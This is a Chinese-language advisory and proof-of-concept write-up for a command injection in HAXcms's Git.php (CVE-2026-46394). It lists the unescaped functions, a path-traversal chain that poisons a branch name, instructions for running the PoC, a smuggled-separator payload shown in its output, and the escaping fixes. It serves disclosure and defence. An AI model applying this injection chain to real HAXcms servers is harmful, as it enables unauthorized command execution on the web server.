CVE-2026-46394 的 PoC 与 writeup:HAXcms Git.php 中的操作系统命令注入(CWE-78)。仅限授权安全研究。
Git.php 操作系统命令注入 (CWE-78)仅用于授权安全测试和研究的概念验证。 此处描述的漏洞已在 HAXcms 的最新版本中修复。 发布此 PoC 是为了让防御者和研究人员能够在他们拥有或明确获准测试的未打补丁实例上验证该问题。
| CVE | CVE-2026-46394 |
| 组件 | HAXcms PHP 后端 - system/backend/php/lib/Git.php |
| 漏洞 | 操作系统命令注入 (CWE-78) |
| 严重性 | 高危 - CVSS 3.1 7.2 独立 / 8.1 结合路径遍历 |
| 状态 | 上游已修复。影响补丁之前的版本。 |
| 项目 | elmsln/HAXcms |
| 报告者 | Shreyas Challa ([email protected]) |
HAXcms PHP 后端的 Git.php 库通过拼接未经净化的参数来构建 shell 命令字符串,并将其直接传递给 proc_open()。在 17 个执行 shell 命令的函数中,只有一个(commit())使用了 escapeshellarg()。其余 15 个直接将调用者输入插入到命令字符串中。
任何包含 shell 元字符(&、;、|、$()、反引号)的值一旦到达这些函数,就会以 Web 服务器用户的身份导致任意操作系统命令执行。
唯一正确转义的函数是最明确的证据,表明转义机制是被理解的,只是在其他地方被遗漏了。
每个易受攻击的函数都会流经 run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
易受攻击的示例与唯一安全函数的对比:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| 函数 | 行 | Shell 命令 | 已转义? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | 否 |
delete_branch($branch) | 588 | branch -d $branch | 否 |
checkout($branch) | 663 | checkout $branch | 否 |
merge($branch) | 677 | merge $branch --no-ff | 否 |
push($remote, $branch) | 785 | push $remote $branch $flags | 否 |
pull($remote, $branch) | 799 | pull $remote $branch | 否 |
log($format) | 813 | log --pretty=format:"$format" | 否 |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | 否 |
list_tags($pattern) | 763 | tag -l $pattern | 否 |
clone_to($target) | 512 | clone --local $repo $target | 否 |
clone_from($source) | 527 | clone --local $source $repo | 否 |
clone_remote($source) | 543 | clone $source $repo | 否 |
set_remote($dest, $url) | 460 | remote add $dest $url | 否 |
rm($files) | 479 | rm $files | 否 |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag:否,$msg:是 |
commit($message) | 496 | commit -av -m $message | 是(唯一安全的函数) |
在随附的代码库中,这些函数被调用时使用的值来自服务器/站点配置,而不是直接来自请求体,因此利用是通过链式攻击实现的:
saveOutline 路径遍历覆盖站点的 site.json,将元字符注入 metadata.site.git.branch。下一次 gitCommit() 调用 HAXCMSSite.php:584 处的 push('origin', $branch),从而执行载荷。create_branch()(Operations.php:2762)或 set_remote()(HAXCMSSite.php:625)。该 PoC 直接驱动真实的 Git.php 库:它会创建一个临时 git 仓库,使用包含 shell 命令分隔符的载荷调用 create_branch(),并检查写入磁盘的证明文件来确认执行。之后它会自行清理。
PATH 上的 gitgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
将 PoC 指向你的 HAXcms 克隆中的 Git.php(通过环境变量或第一个参数);它还会自动发现放在其旁边的 haxcms-php/:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
同时适用于 Unix(; 分隔符)和 Windows(& 分隔符);PoC 会自动为主机操作系统选择正确的载荷。
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
对所有 15 个函数中的每个参数应用 escapeshellarg():
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
纵深防御 - 在值到达 git 层之前对其进行验证:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
更新到包含上游修复的最新 HAXcms 版本。
此问题已报告给 HAXcms 维护者,并在发布之前被修复。PoC 仅在补丁可用后发布。请仅将其用于你拥有或明确获准测试的系统。
本材料仅供防御性研究、教育和授权安全测试使用。在未经明确许可的情况下对系统运行它可能是非法的。您全权负责遵守所有适用法律,并在测试前获得授权。按“原样”提供,不附带任何保证(参见 LICENSE)。